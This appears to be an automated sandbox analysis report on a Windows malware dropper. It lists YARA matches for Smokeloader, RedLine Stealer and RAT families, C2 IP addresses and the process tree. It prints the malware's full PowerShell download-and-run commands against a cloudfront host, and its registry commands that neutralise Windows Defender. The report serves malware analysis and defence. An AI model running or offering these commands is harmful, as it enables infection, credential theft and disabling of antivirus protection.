Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 00409CC0 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 04107A73 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 0042780C appears 43 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 040E1BE3 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: String function: 6BCDCBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: String function: 6BCE94D0 appears 90 times

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6972 -s 1420

Source: browser_broker.exe.14.dr

Static PE information: Resource name: RT_VERSION type: GTA2 binary mission script (SCR), Residential area (ste)

Source: file.exe, 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameinetc.dllF vs file.exe
Source: file.exe, 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameinetc.dllF vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: 11.2.run.exe.3521d5b.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.cmd.exe.58c5264.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.cmd.exe.63000c8.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 11.2.run.exe.34dd86d.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.cmd.exe.63000c8.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 11.2.run.exe.352115b.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.cmd.exe.58c5e64.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.cmd.exe.5881976.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.2524648467.0000000004175000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Temp\hmgv, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@122/99@12/12

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_6BD07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

8_2_6BD07030

Source: C:\Users\user\Desktop\file.exe

0_2_00403532

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049C7

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_04185A16 CreateToolhelp32Snapshot,Module32First,

6_2_04185A16

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004021AF CoCreateInstance,

0_2_004021AF

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\load[1].bat

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Mutant created: \BaseNamedObjects\Global\1_H69925949
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:744:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2292:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Mutant created: \Sessions\1\BaseNamedObjects\Canon_UIW_Inst_v1
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6972

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\nsg4682.tmp

Jump to behavior

Source: Yara match	File source: 17.0.u5do.3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000000.2221929722.0000000000401000.00000020.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2228626485.00000000070A5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\u5do.3.exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat"

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: one	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: one	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: one	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.90	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.90	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.90	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: Installed	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: Installed	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.59	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.59	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.203	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.203	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /syncUpd.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /syncUpd.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /timeSync.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /timeSync.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.203	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.59	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /timeSync.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /syncUpd.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /1/Package.zip	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /1/Package.zip	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /1/Package.zip	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .zip	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .zip	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: \run.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: \run.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /BroomSetup.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /BroomSetup.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /BroomSetup.exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: @	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.90	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.90	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.90	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: Installed	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: Installed	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.59	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.59	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.203	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.203	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /syncUpd.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /syncUpd.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /timeSync.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /timeSync.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.203	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.59	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /timeSync.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /syncUpd.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /1/Package.zip	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /1/Package.zip	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /1/Package.zip	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .zip	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .zip	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: \run.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: \run.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /BroomSetup.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /BroomSetup.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: 185.172.128.228	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: /BroomSetup.exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_04104C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Command line argument: .exe	6_2_04104C75

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: u5do.0.exe, u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: u5do.0.exe, 00000008.00000003.2173612078.0000000024818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: u5do.0.exe, 00000008.00000002.2550262766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 21%
Source: file.exe	Virustotal: Detection: 33%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\i1.exe i1.exe /SUB=28381000 /str=one
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.0.exe "C:\Users\user\AppData\Local\Temp\u5do.0.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe "C:\Users\user\AppData\Local\Temp\u5do.2\run.exe"
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\i3.exe i3.exe
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe .\Install.exe /EdidWTW "385128" /S
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.3.exe "C:\Users\user\AppData\Local\Temp\u5do.3.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6972 -s 1420
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
